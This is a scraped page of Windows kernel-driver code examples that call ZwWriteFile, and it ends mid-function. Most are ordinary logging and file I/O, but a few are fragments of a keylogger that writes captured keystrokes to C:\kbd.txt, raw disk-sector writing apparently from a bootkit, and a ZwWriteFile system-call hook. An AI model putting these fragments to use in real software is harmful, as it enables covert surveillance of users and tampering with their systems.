Пример #1
0
NTSTATUS Log_WriteLine(PLOG_COUNTED_STRING Line)
{
	NTSTATUS Status = STATUS_SUCCESS;
	IO_STATUS_BLOCK StatusBlock;
	FILE_STANDARD_INFORMATION Info;

	if (!LogFile)
		return STATUS_INVALID_HANDLE;

	if (!InterlockedCompareExchange(&LogRotationInProgress, 1, 0))
	{
		Status = ZwQueryInformationFile(LogFile, &StatusBlock, &Info, sizeof(Info), FileStandardInformation);
		if (!NT_SUCCESS(Status)) {
			return Status;
		}

		if (Info.DeletePending && LogFileName) {
			ZwClose(LogFile);
			LogFile = NULL;
			Status = Log_StartFileLogging(LogFileName);
			if (!NT_SUCCESS(Status))
				return Status;
		}
		else if (Info.EndOfFile.QuadPart >= LogSettings.MaxFileSize) {
			Status = Log_Rotate();
		}

		LogRotationInProgress = 0;
	}

	if (NT_SUCCESS(Status) && LogFile)
		Status = ZwWriteFile(LogFile, NULL, NULL, NULL, &StatusBlock, Line->Data, Line->DataLength, NULL, NULL);

	return Status;
}
Пример #2
0
/*
* @implemented
*/
NTSTATUS
NTAPI
RtlCreateBootStatusDataFile(VOID)
{
    OBJECT_ATTRIBUTES ObjectAttributes;
    IO_STATUS_BLOCK IoStatusBlock;
    LARGE_INTEGER AllocationSize;
    LARGE_INTEGER ByteOffset;
    UNICODE_STRING FileName;
    HANDLE FileHandle;
    NTSTATUS Status;

    /* Initialize the file name */
    RtlInitUnicodeString(&FileName,
                         L"\\SystemRoot\\bootstat.dat");

    /* Initialize the object attributes */
    InitializeObjectAttributes(&ObjectAttributes,
                               &FileName,
                               OBJ_CASE_INSENSITIVE,
                               NULL,
                               NULL);

    AllocationSize.QuadPart = 0x800;
    DBG_UNREFERENCED_LOCAL_VARIABLE(AllocationSize);

    /* Create the boot status data file */
    Status = ZwCreateFile(&FileHandle,
                          FILE_GENERIC_READ | FILE_GENERIC_WRITE,
                          &ObjectAttributes,
                          &IoStatusBlock,
                          NULL, //&AllocationSize,
                          FILE_ATTRIBUTE_SYSTEM,
                          0,
                          FILE_CREATE,
                          FILE_SYNCHRONOUS_IO_NONALERT,
                          NULL,
                          0);
    if (NT_SUCCESS(Status))
    {
        // FIXME: Initialize the buffer in a better way.
        UCHAR Buffer[12] = {0xC,0,0,0, 1,0,0,0, 1, 0x1e, 1, 0};

        ByteOffset.QuadPart = 0;
        Status = ZwWriteFile(FileHandle,
                             NULL,
                             NULL,
                             NULL,
                             &IoStatusBlock,
                             &Buffer,
                             12, //BufferSize,
                             &ByteOffset,
                             NULL);
    }

    /* Close the file */
    ZwClose(FileHandle);

    return Status;
}
Пример #3
0
BOOLEAN
NTAPI
CmpFileWrite(IN PHHIVE RegistryHive,
             IN ULONG FileType,
             IN PULONG FileOffset,
             IN PVOID Buffer,
             IN SIZE_T BufferLength)
{
    PCMHIVE CmHive = (PCMHIVE)RegistryHive;
    HANDLE HiveHandle = CmHive->FileHandles[FileType];
    LARGE_INTEGER _FileOffset;
    IO_STATUS_BLOCK IoStatusBlock;
    NTSTATUS Status;

    /* Just return success if no file is associated with this hive */
    if (HiveHandle == NULL)
        return TRUE;

    /* Don't do anything if we're not supposed to */
    if (CmpNoWrite)
        return TRUE;

    _FileOffset.QuadPart = *FileOffset;
    Status = ZwWriteFile(HiveHandle, NULL, NULL, NULL, &IoStatusBlock,
                         Buffer, (ULONG)BufferLength, &_FileOffset, NULL);
    return NT_SUCCESS(Status) ? TRUE : FALSE;
}
Пример #4
0
static Boolean
ssh_file_flush_wr_cache(SshFileIoContext io_ctx)
{
  if (io_ctx->wr_cache)
    {
      IO_STATUS_BLOCK iosb;
      NTSTATUS status;

      status = ZwWriteFile(io_ctx->handle, 
                           NULL, 
                           NULL, 
                           NULL, 
                           &iosb, 
                           io_ctx->wr_cache, 
                           io_ctx->wr_cache_size - io_ctx->wr_cache_left,
                           NULL, 
                           NULL);

      io_ctx->wr_cache_ptr = io_ctx->wr_cache;
      io_ctx->wr_cache_left = io_ctx->wr_cache_size;    

      if (!NT_SUCCESS(status))
        return FALSE;
    }

  return TRUE;
}
int sysWriteFile(
	IN FILE_HANDLE		handle,
	IN void*			buffer,
	IN long long		offset,
	IN unsigned long 	length)
{
	IO_STATUS_BLOCK IoStatus;
	LARGE_INTEGER byteOffset;
	NTSTATUS status;
	
	byteOffset.QuadPart = offset;
	
	status = ZwWriteFile(
		handle,
		NULL,
		NULL,
		NULL,
		&IoStatus,
		buffer,
		length,
		&byteOffset,
		NULL
		);

	if(status != STATUS_SUCCESS)
	{
		return -1;
	}
	
	return IoStatus.Information;	
}
Пример #6
0
//
//	Write to file at specified offset
//
VDKSTAT	VdkWriteFileAt(
	HANDLE	FileHandle,
	INT64	Offset,
	PVOID	Buffer,
	ULONG	Length,
	PULONG_PTR	Result)
{
	LARGE_INTEGER	loffset;
	IO_STATUS_BLOCK	io_status;
	NTSTATUS		status;

	loffset.QuadPart = Offset;

	status = ZwWriteFile(
		FileHandle,
		NULL,
		NULL,
		NULL,
		&io_status,
		Buffer,
		Length,
		&loffset,
		NULL);

	if (!NT_SUCCESS(status)) {
		VDKTRACE(VDKWRITE,
			("[VDK] ZwWriteFile %s\n", VdkStatusStr(status)));
	}

	if (Result) {
		*Result = io_status.Information;
	}

	return status;
}
Пример #7
0
/* 
 * =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= **
 *
 *
 * =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= **
 */
VOID WriteDataFile(  PDEVICE_EXTENSION theDeviceExtension )
{

NTSTATUS          Status;
IO_STATUS_BLOCK   IOStatus;

KdPrint( ("KDL: WriteDataFile() (%d) [%s].\n", strlen( theDeviceExtension->WriteBuffer ),
		                                       theDeviceExtension->WriteBuffer ) );

    // Write our formated string out to the log file
    Status = ZwWriteFile( theDeviceExtension->LogFile,              // FileHandle
                          NULL,                                     // Event
						  NULL,                                     // ApcRoutine
						  NULL,                                     // ApcContext
					      &IOStatus,                                // IoStatusBlock
						  theDeviceExtension->WriteBuffer,          // Buffer
						  strlen( theDeviceExtension->WriteBuffer ),// Length
						  &theDeviceExtension->theEOF,              // ByteOffset
						  NULL );                                   // Key

#if DBG
    // Error catch if we had a problem with the file handle
	if ( Status != STATUS_SUCCESS )
   {
KdPrint( ("FAILED FILE WRITE 0x%x\n",Status) );
   }
#endif

}
Пример #8
0
//////////////////////////////////////////////////////////////////////////
// save the key buffer to the file.
void SaveToFile(IN PCHAR buffer,IN int length)
{
	WCHAR fileName[] = L"\\??\\C:\\kbd.txt";
	UNICODE_STRING unifilename;
	NTSTATUS status;
	OBJECT_ATTRIBUTES oa;
	HANDLE hFile;
	IO_STATUS_BLOCK iostatus;
	LARGE_INTEGER  ByteOffset={0} ;
	if (!buffer)
	{
		return;
	}
	RtlInitUnicodeString(&unifilename,fileName);
	InitializeObjectAttributes(&oa,&unifilename,
		OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,
		NULL,NULL);

	status = ZwCreateFile(&hFile,FILE_APPEND_DATA,&oa,&iostatus,NULL,FILE_ATTRIBUTE_NORMAL,
		FILE_SHARE_DELETE|FILE_SHARE_WRITE|FILE_SHARE_READ,FILE_OVERWRITE_IF,
		0,0,0);

	if(NT_SUCCESS(status))
	{
        status=ZwWriteFile(hFile,NULL,NULL,NULL,&iostatus,buffer,length,&ByteOffset,NULL);
		if (!(NT_SUCCESS(status)))
		{
			DbgPrint("ZwWriteFile Failed %8x",status);
		}
		ZwClose(hFile);
	}
	else
		DbgPrint("ZwCreateFile Failed %8x",status);
}
Пример #9
0
Boolean
ssh_file_write(SshFileIoContext io_ctx,
               void *data,
               SshUInt32 data_len)
{
  IO_STATUS_BLOCK iosb;

  if (io_ctx->wr_cache)
    {
      Boolean status = TRUE;

      if (io_ctx->wr_cache_left < (data_len + 1))
        status = ssh_file_flush_wr_cache(io_ctx);

      RtlCopyMemory(io_ctx->wr_cache_ptr, data, data_len);
      io_ctx->wr_cache_ptr += data_len;
      io_ctx->wr_cache_left -= data_len;
      *(io_ctx->wr_cache_ptr) = 0;

      return status;      
    }
  else
    {
      if (NT_SUCCESS(ZwWriteFile(io_ctx->handle, NULL, NULL, NULL, 
                                 &iosb, data, data_len, NULL, NULL)))
        return TRUE;
      else
        return FALSE;
    }
}
Пример #10
0
/*
* @implemented
*/
NTSTATUS
NTAPI
RtlGetSetBootStatusData(IN HANDLE FileHandle,
                        IN BOOLEAN WriteMode,
                        IN RTL_BSD_ITEM_TYPE DataClass,
                        IN PVOID Buffer,
                        IN ULONG BufferSize,
                        OUT PULONG ReturnLength)
{
    IO_STATUS_BLOCK IoStatusBlock;
    LARGE_INTEGER ByteOffset;
    NTSTATUS Status;

    DPRINT("RtlGetSetBootStatusData (%p %u %d %p %lu %p)\n",
           FileHandle, WriteMode, DataClass, Buffer, BufferSize, ReturnLength);

    if (DataClass >= RtlBsdItemMax)
        return STATUS_INVALID_PARAMETER;

    if (BufferSize > BsdItemTable[DataClass].Size)
        return STATUS_BUFFER_TOO_SMALL;

    ByteOffset.HighPart = 0;
    ByteOffset.LowPart = BsdItemTable[DataClass].Offset;

    if (WriteMode)
    {
        Status = ZwReadFile(FileHandle,
                            NULL,
                            NULL,
                            NULL,
                            &IoStatusBlock,
                            Buffer,
                            BufferSize,
                            &ByteOffset,
                            NULL);
    }
    else
    {
        Status = ZwWriteFile(FileHandle,
                             NULL,
                             NULL,
                             NULL,
                             &IoStatusBlock,
                             Buffer,
                             BufferSize,
                             &ByteOffset,
                             NULL);
    }

    if (NT_SUCCESS(Status))
    {
        if (ReturnLength)
            *ReturnLength = BsdItemTable[DataClass].Size;
    }

    return Status;
}
Пример #11
0
// Switchs the current log buffer, saves the contents of old buffer to the log
// file, and prints them out as necessary. This function does not flush the log
// file, so code should call LogpWriteMessageToFile() or ZwFlushBuffersFile()
// later.
_Use_decl_annotations_ static NTSTATUS LogpFlushLogBuffer(LogBufferInfo *info) {
  NT_ASSERT(info);
  NT_ASSERT(KeGetCurrentIrql() == PASSIVE_LEVEL);

  auto status = STATUS_SUCCESS;

  // Enter a critical section and acquire a reader lock for info in order to
  // write a log file safely.
  ExEnterCriticalRegionAndAcquireResourceExclusive(&info->resource);

  // Acquire a spin lock for info.log_buffer(s) in order to switch its head
  // safely.
  KLOCK_QUEUE_HANDLE lock_handle = {};
  KeAcquireInStackQueuedSpinLock(&info->spin_lock, &lock_handle);
  const auto old_log_buffer = const_cast<char *>(info->log_buffer_head);
  if (old_log_buffer[0]) {
    info->log_buffer_head = (old_log_buffer == info->log_buffer1)
                                ? info->log_buffer2
                                : info->log_buffer1;
    info->log_buffer_head[0] = '\0';
    info->log_buffer_tail = info->log_buffer_head;
  }
  KeReleaseInStackQueuedSpinLock(&lock_handle);

  // Write all log entries in old log buffer.
  IO_STATUS_BLOCK io_status = {};
  for (auto current_log_entry = old_log_buffer; current_log_entry[0]; /**/) {
    // Check the printed bit and clear it
    const auto printed_out = LogpIsPrinted(current_log_entry);
    LogpSetPrintedBit(current_log_entry, false);

    const auto current_log_entry_length = strlen(current_log_entry);
    status = ZwWriteFile(info->log_file_handle, nullptr, nullptr, nullptr,
                         &io_status, current_log_entry,
                         static_cast<ULONG>(current_log_entry_length), nullptr,
                         nullptr);
    if (!NT_SUCCESS(status)) {
      // It could happen when you did not register IRP_SHUTDOWN and call
      // LogIrpShutdownHandler() and the system tried to log to a file after
      // a file system was unmounted.
      LogpDbgBreak();
    }

    // Print it out if requested and the message is not already printed out
    if (!printed_out) {
      LogpDoDbgPrint(current_log_entry);
    }

    current_log_entry += current_log_entry_length + 1;
  }
  old_log_buffer[0] = '\0';

  ExReleaseResourceAndLeaveCriticalRegion(&info->resource);
  return status;
}
Пример #12
0
//中断请求等级为 passive
VOID ThreadKeyLogger(IN PVOID pContext)
{

	PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext;
	PDEVICE_OBJECT pKeyboardDeviceOjbect = pKeyboardDeviceExtension->pKeyboardDevice;

	PLIST_ENTRY pListEntry;
	KEY_DATA* kData;

	//主循环体,得到键值
	while(true)
	{
		// 等待可用数据进入队列
		KeWaitForSingleObject(&pKeyboardDeviceExtension->semQueue,Executive,KernelMode,FALSE,NULL);

		pListEntry = ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead,
												&pKeyboardDeviceExtension->lockQueue);


		if(pKeyboardDeviceExtension->bThreadTerminate == true)
		{
			PsTerminateSystemThread(STATUS_SUCCESS);
		}

		kData = CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);

		//转换扫描到的值
		char keys[3] = {0};
		ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys);

		//判断键值是否写入文件
		if(keys != 0)
		{
			// 将数据写入文件
			if(pKeyboardDeviceExtension->hLogFile != NULL)
                                                        //判断文件是否有效
			{
				IO_STATUS_BLOCK io_status;
				DbgPrint("Writing scan code to file...\n");

				NTSTATUS status = ZwWriteFile(pKeyboardDeviceExtension->hLogFile,NULL,NULL,NULL,
					&io_status,&keys,strlen(keys),NULL,NULL);

				if(status != STATUS_SUCCESS)
						DbgPrint("Writing scan code to file...\n");
				else
					DbgPrint("Scan code '%s' successfully written to file.\n",keys);
			}
		}
	}
	return;
}//ThreadLogKeyboard
//
//	Reads or writes specified number of sectors from/to the specified buffer.
//
NTSTATUS _stdcall BkSectorIo(
	PUNICODE_STRING	DriveName,		// drive name to read/write sectors from/to
	PCHAR			Buffer,			// bufer to store the data
	ULONG			Length,			// size of the buffer
	ULONGLONG		StartSector,	// starting LBA sector
	ULONG			Count,			// number of sectors to read/write
	ULONG			Flags			// variouse operation flags
	)
{
	HANDLE		hDrive;
	NTSTATUS	ntStatus = STATUS_BUFFER_TOO_SMALL;
	OBJECT_ATTRIBUTES	oa = {0};
	IO_STATUS_BLOCK		IoStatus = {0};
	LARGE_INTEGER		FilePos = {0};
	ULONG	ObjectFlags = OBJ_CASE_INSENSITIVE;

#ifdef _M_AMD64
	if ((ULONG_PTR)&ObjectFlags & 0x8000000000000000)
#else
	if ((ULONG_PTR)&ObjectFlags & 0x80000000)
#endif
		ObjectFlags |= OBJ_KERNEL_HANDLE;

	InitializeObjectAttributes(&oa, DriveName, ObjectFlags, NULL, NULL);

	if ((Count * BIOS_DEFAULT_SECTOR_SIZE) <= Length)
	{
//		ntStatus = ZwCreateFile(&hDrive, FILE_GENERIC_READ | FILE_GENERIC_WRITE, &oa, &IoStatus, NULL, 0, 
//			FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);

		ntStatus = ZwOpenFile(&hDrive, FILE_GENERIC_READ | FILE_GENERIC_WRITE, &oa, &IoStatus,
			FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT);
	
		if (NT_SUCCESS(ntStatus))
		{
			FilePos.QuadPart = (StartSector * BIOS_DEFAULT_SECTOR_SIZE);

			if (Flags & BK_IO_WRITE)
				ntStatus = ZwWriteFile(hDrive, 0, NULL, NULL, &IoStatus, Buffer, (Count*BIOS_DEFAULT_SECTOR_SIZE), &FilePos, NULL);
			else
				ntStatus = ZwReadFile(hDrive, 0, NULL, NULL, &IoStatus, Buffer, (Count*BIOS_DEFAULT_SECTOR_SIZE), &FilePos, NULL);

			ZwClose(hDrive);
		}	// if (hDrive != INVALID_HANDLE_VALUE)
	}	// 	if ((Count * BIOS_DEFAULT_SECTOR_SIZE) <= Length)
 
   return(ntStatus);
}
Пример #14
0
/*
 * This helper runs a program from the driver service.
 *   Connection is estabilished with named pipe.
 */
void run_process(DWORD i, WCHAR *pwcProg)
{
  DbgPrint("Runing %ls...\r\n", pwcProg);
  while (!NT_SUCCESS(KeWaitForMutexObject(&mutex, Executive,
                                          KernelMode, FALSE, NULL)));

  LARGE_INTEGER delay = RtlConvertUlongToLargeInteger(300000l);

  NTSTATUS status;
  HANDLE pipe;
  OBJECT_ATTRIBUTES fattrs;
  UNICODE_STRING pipe_name;
  IO_STATUS_BLOCK io_stat_block;
  RtlInitUnicodeString(&pipe_name, L"\\??\\pipe\\drvtest");
  InitializeObjectAttributes(&fattrs, &pipe_name,
                             OBJ_CASE_INSENSITIVE | 0x0200/*OBJ_KERNEL_HANDLE*/,
                             0, NULL);
  status = ZwCreateFile(&pipe, FILE_WRITE_DATA | FILE_READ_DATA | SYNCHRONIZE,
                        &fattrs, &io_stat_block, NULL, 0,
                        FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN,
                        FILE_NON_DIRECTORY_FILE, NULL, 0);
  if (!NT_SUCCESS(status))
    DbgPrint("Alert! 0x%0.8x, 0x%0.8x\r\n", status, io_stat_block.Status);

  example_ioctl_data out_data = { code: MCODE_SPAWN };
  wcscpy(out_data.rprog, pwcProg);
  status = ZwWriteFile(pipe, NULL, NULL, NULL, &io_stat_block, &out_data,
                       sizeof(out_data), NULL, NULL);
  if (!NT_SUCCESS(status))
    DbgPrint("Alert! 0x%0.8x\r\n", status);

  DWORD pid;
  do {
    status = ZwReadFile(pipe, NULL, NULL, NULL, &io_stat_block, &pid,
                        sizeof(DWORD), NULL, NULL);
    if (!NT_SUCCESS(status))
      KeDelayExecutionThread(KernelMode, FALSE, &delay);
  } while(STATUS_PENDING == status);
  if (!NT_SUCCESS(status))
    DbgPrint("Alert! 0x%0.8x\r\n", status);

  DbgPrint("PID: %d\r\n", pid);
  g_proc_table[i].sl_pid = pid;
  ZwClose(pipe);
  KeReleaseMutex(&mutex, FALSE);
  return;
  /* return proc_infn.dwProcessId; */
}
Пример #15
0
NTSTATUS
NTAPI
HookZwWriteFile(
	IN HANDLE FileHandle,
	IN HANDLE Event OPTIONAL,
	IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
	IN PVOID ApcContext OPTIONAL,
	OUT PIO_STATUS_BLOCK IoStatusBlock,
	IN PVOID Buffer,
	IN ULONG Length,
	IN PLARGE_INTEGER ByteOffset OPTIONAL,
	IN PULONG Key OPTIONAL
)
{
	ModifyProcAddress(SERVICE_INDEX(ZwWriteFile), OldAddress);
	DbgPrint("Hit ZwWriteFile");
	KeSetEvent(pEvent, IO_NO_INCREMENT, FALSE);
	KeWaitForSingleObject(pCallBack, Executive, UserMode, FALSE, NULL);

	int code = pShare -> Code;
	NTSTATUS ret;
	switch (code)
	{
	case CODE_ALLOW:
		DbgPrint("Allowed\n");
		ret = ZwWriteFile(
			FileHandle,
			Event,
			ApcRoutine,
			ApcContext,
			IoStatusBlock,
			Buffer,
			Length,
			ByteOffset,
			Key
			);
		break;
	case CODE_DENY:
		DbgPrint("Denied\n");
		ret = STATUS_ACCESS_DENIED;
		break;
	default:
		DbgPrint("UNEXPECTED\n");
		ret = STATUS_UNEXPECTED_IO_ERROR;
	}
	ModifyProcAddress(SERVICE_INDEX(ZwWriteFile), NewAddress);
	return ret;
}
Пример #16
0
co_rc_t co_os_transfer_file_block(co_monitor_t *cmon, 
				  void *host_data, void *linuxvm, unsigned long size, 
				  co_monitor_transfer_dir_t dir)
{
	IO_STATUS_BLOCK isb;
	NTSTATUS status;
	co_os_transfer_file_block_data_t *data;
	co_rc_t rc = CO_RC_OK;
	HANDLE FileHandle;

	data = (co_os_transfer_file_block_data_t *)host_data;

	FileHandle = (HANDLE)(data->fdev->sysdep);

	if (CO_MONITOR_TRANSFER_FROM_HOST == dir) {
		status = ZwReadFile(FileHandle,
				    NULL,
				    NULL,
				    NULL, 
				    &isb,
				    linuxvm,
				    size,
				    &data->offset,
				    NULL);
	}
	else {
		status = ZwWriteFile(FileHandle,
				     NULL,
				     NULL,
				     NULL, 
				     &isb,
				     linuxvm,
				     size,
				     &data->offset,
				     NULL);
	}

	if (status != STATUS_SUCCESS) {
		co_debug("block io failed: %x %x (reason: %x)\n", linuxvm, size,
			   status);
		rc = CO_RC(ERROR);
	}

	data->offset.QuadPart += size;

	return rc;
}
Пример #17
0
static co_rc_t transfer_file_block(co_monitor_t *cmon, 
				  void *host_data, void *linuxvm, 
				  unsigned long size, 
				  co_monitor_transfer_dir_t dir)
{
	IO_STATUS_BLOCK isb;
	NTSTATUS status;
	co_os_transfer_file_block_data_t *data;
	co_rc_t rc = CO_RC_OK;

	data = (co_os_transfer_file_block_data_t *)host_data;

	if (CO_MONITOR_TRANSFER_FROM_HOST == dir) {
		status = ZwReadFile(data->file_handle,
				    NULL,
				    NULL,
				    NULL, 
				    &isb,
				    linuxvm,
				    size,
				    &data->offset,
				    NULL);
	}
	else {
		status = ZwWriteFile(data->file_handle,
				     NULL,
				     NULL,
				     NULL, 
				     &isb,
				     linuxvm,
				     size,
				     &data->offset,
				     NULL);
	}

	if (status != STATUS_SUCCESS) {
		co_debug_error("block io failed: %p %lx (reason: %x)",
				linuxvm, size, (int)status);
		rc = co_status_convert(status);
	}

	data->offset.QuadPart += size;

	return rc;
}
Пример #18
0
// Switch the current log buffer and save the contents of old buffer to the log
// file. This function does not flush the log file, so code should call
// LogpWriteMessageToFile() or ZwFlushBuffersFile() later.
EXTERN_C static NTSTATUS LogpWriteLogBufferToFile(
    _In_opt_ LogBufferInfo *Info) {
  NT_ASSERT(Info);
  NT_ASSERT(KeGetCurrentIrql() == PASSIVE_LEVEL);

  auto status = STATUS_SUCCESS;

  // Enter a critical section and acquire a reader lock for Info in order to
  // write a log file safely.
  ExEnterCriticalRegionAndAcquireResourceExclusive(&Info->Resource);

  // Acquire a spin lock for Info.LogBuffer(s) in order to switch its head
  // safely.
  const auto irql = KeAcquireSpinLockRaiseToDpc(&Info->SpinLock);
  auto oldLogBuffer = const_cast<char *>(Info->LogBufferHead);
  if (oldLogBuffer[0]) {
    Info->LogBufferHead = (oldLogBuffer == Info->LogBuffer1) ? Info->LogBuffer2
                                                             : Info->LogBuffer1;
    Info->LogBufferHead[0] = '\0';
    Info->LogBufferTail = Info->LogBufferHead;
  }
  KeReleaseSpinLock(&Info->SpinLock, irql);

  // Write all log entries in old log buffer.
  IO_STATUS_BLOCK ioStatus = {};
  for (auto currentLogEntry = oldLogBuffer; currentLogEntry[0]; /**/) {
    const auto currentLogEntryLength = strlen(currentLogEntry);
    status =
        ZwWriteFile(Info->LogFileHandle, nullptr, nullptr, nullptr, &ioStatus,
                    currentLogEntry, static_cast<ULONG>(currentLogEntryLength),
                    nullptr, nullptr);
    if (!NT_SUCCESS(status)) {
      // It could happen when you did not register IRP_SHUTDOWN and call
      // LogIrpShutdownHandler() and the system tried to log to a file after
      // a filesystem was unmounted.
      DBG_BREAK();
    }

    currentLogEntry += currentLogEntryLength + 1;
  }
  oldLogBuffer[0] = '\0';

  ExReleaseResourceAndLeaveCriticalRegion(&Info->Resource);
  return status;
}
Пример #19
0
// Logs the current log entry to and flush the log file.
_Use_decl_annotations_ static NTSTATUS LogpWriteMessageToFile(
    const char *message, const LogBufferInfo &info) {
  NT_ASSERT(KeGetCurrentIrql() == PASSIVE_LEVEL);

  IO_STATUS_BLOCK io_status = {};
  auto status =
      ZwWriteFile(info.log_file_handle, nullptr, nullptr, nullptr, &io_status,
                  const_cast<char *>(message),
                  static_cast<ULONG>(strlen(message)), nullptr, nullptr);
  if (!NT_SUCCESS(status)) {
    // It could happen when you did not register IRP_SHUTDOWN and call
    // LogIrpShutdownHandler() and the system tried to log to a file after
    // a file system was unmounted.
    LogpDbgBreak();
  }
  status = ZwFlushBuffersFile(info.log_file_handle, &io_status);
  return status;
}
Пример #20
0
// Logs the current log entry to and flush the log file.
EXTERN_C static NTSTATUS LogpWriteMessageToFile(
    _In_ const char *Message, _In_ const LogBufferInfo &Info) {
  NT_ASSERT(KeGetCurrentIrql() == PASSIVE_LEVEL);

  IO_STATUS_BLOCK ioStatus = {};
  auto status =
      ZwWriteFile(Info.LogFileHandle, nullptr, nullptr, nullptr, &ioStatus,
                  const_cast<char *>(Message),
                  static_cast<ULONG>(strlen(Message)), nullptr, nullptr);
  if (!NT_SUCCESS(status)) {
    // It could happen when you did not register IRP_SHUTDOWN and call
    // LogIrpShutdownHandler() and the system tried to log to a file after
    // a filesystem was unmounted.
    DBG_BREAK();
  }
  status = ZwFlushBuffersFile(Info.LogFileHandle, &ioStatus);
  return status;
}
Пример #21
0
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriveObject,IN PUNICODE_STRING RegisterPath) 
{
	OBJECT_ATTRIBUTES obj_attrib;    //为一个结构
	NTSTATUS status;
	IO_STATUS_BLOCK Io_Status_Block;
	HANDLE hFile = NULL;
	UNICODE_STRING usStr; 
	__asm int 3 ;
	RtlInitUnicodeString(&usStr,L"\\??\\c:\\asm\demo.asm");
	//用 Initializeobjectattributes宏	初始化 OBJECT_ATTRIBUTES 这个结构;
	// 初始化文件路径
	InitializeObjectAttributes(&obj_attrib,
												&usStr, // 需要操作的对象、比如文件或注册表路径等
												OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
												NULL,
												NULL);
		// 创建文件
			status = ZwCreateFile(&hFile,					//如果这个函数调用返回成成功(STATUS_SUCCESS),那就么打开的文件句柄就返回在这个地址内
												GENERIC_ALL,			//申请的权限
												&obj_attrib,				//对象描述
												&Io_Status_Block,		//操作的结果
												NULL,
												FILE_ATTRIBUTE_NORMAL,
												FILE_SHARE_READ,			//共享方式
												FILE_CREATE,					//打开方式
												FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,
												NULL,
												0 );
		// 写入到目标文件
				status = ZwWriteFile(hFile,				 //打开文件的句柄
				NULL,
				NULL,
			 	NULL,
				&Io_Status_Block,							 //需要自己定义一个该类型变量传入做参数
				usStr.Buffer,									 //数据写入的缓冲区指针
				usStr.Length,									//写入数据的长度
				NULL,
				NULL);
	//关闭文件
	ZwClose(hFile);
	
	pDriveObject->DriverUnload=DDK_Unload;
	return STATUS_SUCCESS;
}
Пример #22
0
void terminate_process(DWORD dwProcessId)
{
  if (!dwProcessId)
    return;

  DbgPrint("Killing %d...\r\n", dwProcessId);
  while (!NT_SUCCESS(KeWaitForMutexObject(&mutex, Executive,
                                          KernelMode, FALSE, NULL)));

  LARGE_INTEGER delay = RtlConvertUlongToLargeInteger(300000l);

  NTSTATUS status;
  HANDLE pipe;
  OBJECT_ATTRIBUTES fattrs;
  UNICODE_STRING pipe_name;
  IO_STATUS_BLOCK io_stat_block;
  RtlInitUnicodeString(&pipe_name, L"\\??\\pipe\\drvtest");
  InitializeObjectAttributes(&fattrs, &pipe_name,
                             OBJ_CASE_INSENSITIVE | 0x0200/*OBJ_KERNEL_HANDLE*/,
                             0, NULL);
  for (int i = 0; i < 10; ++i) {
    status = ZwCreateFile(&pipe, FILE_WRITE_DATA | SYNCHRONIZE,
                          &fattrs, &io_stat_block, NULL, 0,
                          FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN,
                          FILE_NON_DIRECTORY_FILE, NULL, 0);
    if (!NT_SUCCESS(status))
      KeDelayExecutionThread(KernelMode, FALSE, &delay);
    else
      break;
  }
  if (!NT_SUCCESS(status))
    DbgPrint("Alert! 0x%0.8x, 0x%0.8x\r\n", status, io_stat_block.Status);

  example_ioctl_data out_data = { code: MCODE_TERM, pid: dwProcessId };
  status = ZwWriteFile(pipe, NULL, NULL, NULL, &io_stat_block, &out_data,
                       sizeof(out_data), NULL, NULL);
  if (!NT_SUCCESS(status))
    DbgPrint("Alert! 0x%0.8x\r\n", status);

  ZwClose(pipe);
  KeReleaseMutex(&mutex, FALSE);
  return;
}
Пример #23
0
BOOLEAN
NTAPI
CmpFileWrite(IN PHHIVE RegistryHive,
             IN ULONG FileType,
             IN PULONG FileOffset,
             IN PVOID Buffer,
             IN SIZE_T BufferLength)
{
    PCMHIVE CmHive = (PCMHIVE)RegistryHive;
    HANDLE HiveHandle = CmHive->FileHandles[FileType];
    LARGE_INTEGER _FileOffset;
    IO_STATUS_BLOCK IoStatusBlock;
    NTSTATUS Status;

    _FileOffset.QuadPart = *FileOffset;
    Status = ZwWriteFile(HiveHandle, 0, 0, 0, &IoStatusBlock,
                       Buffer, BufferLength, &_FileOffset, 0);
    return NT_SUCCESS(Status) ? TRUE : FALSE;
}
Пример #24
0
BOOLEAN
WritePolicyFile(PCHAR buffer)
{
    int					len = strlen(buffer);
    IO_STATUS_BLOCK		isb;


    if (!NT_SUCCESS(ZwWriteFile(hFile, NULL, NULL, NULL, &isb, (PVOID) buffer, len, (PLARGE_INTEGER) &offset, NULL)))
    {
        LOG(LOG_SS_LEARN, LOG_PRIORITY_DEBUG, ("WritePolicyFile(): ZwReadFile failed\n"));
        return FALSE;
    }

    if (isb.Information != len)
    {
        LOG(LOG_SS_LEARN, LOG_PRIORITY_DEBUG, ("WritePolicyFile(): Asked to write %d bytes. Wrote only %d\n", len, isb.Information));
    }

    offset += isb.Information;


    return TRUE;
}
Пример #25
0
BOOLEAN LogMessage(PCHAR szFormat, ...)
{
	ULONG Length;
	char messagebuf[256];
	va_list va;
    IO_STATUS_BLOCK  IoStatus;
	OBJECT_ATTRIBUTES objectAttributes;
	NTSTATUS status;
	HANDLE FileHandle;
    UNICODE_STRING fileName;


	//format the string
    va_start(va,szFormat);
	vsprintf(messagebuf,szFormat,va);
	va_end(va);

	//get a handle to the log file object
    fileName.Buffer = NULL;
    fileName.Length = 0;
    fileName.MaximumLength = sizeof(DEFAULT_LOG_FILE_NAME) + sizeof(UNICODE_NULL);
    fileName.Buffer = ExAllocatePool(PagedPool,
                                        fileName.MaximumLength);
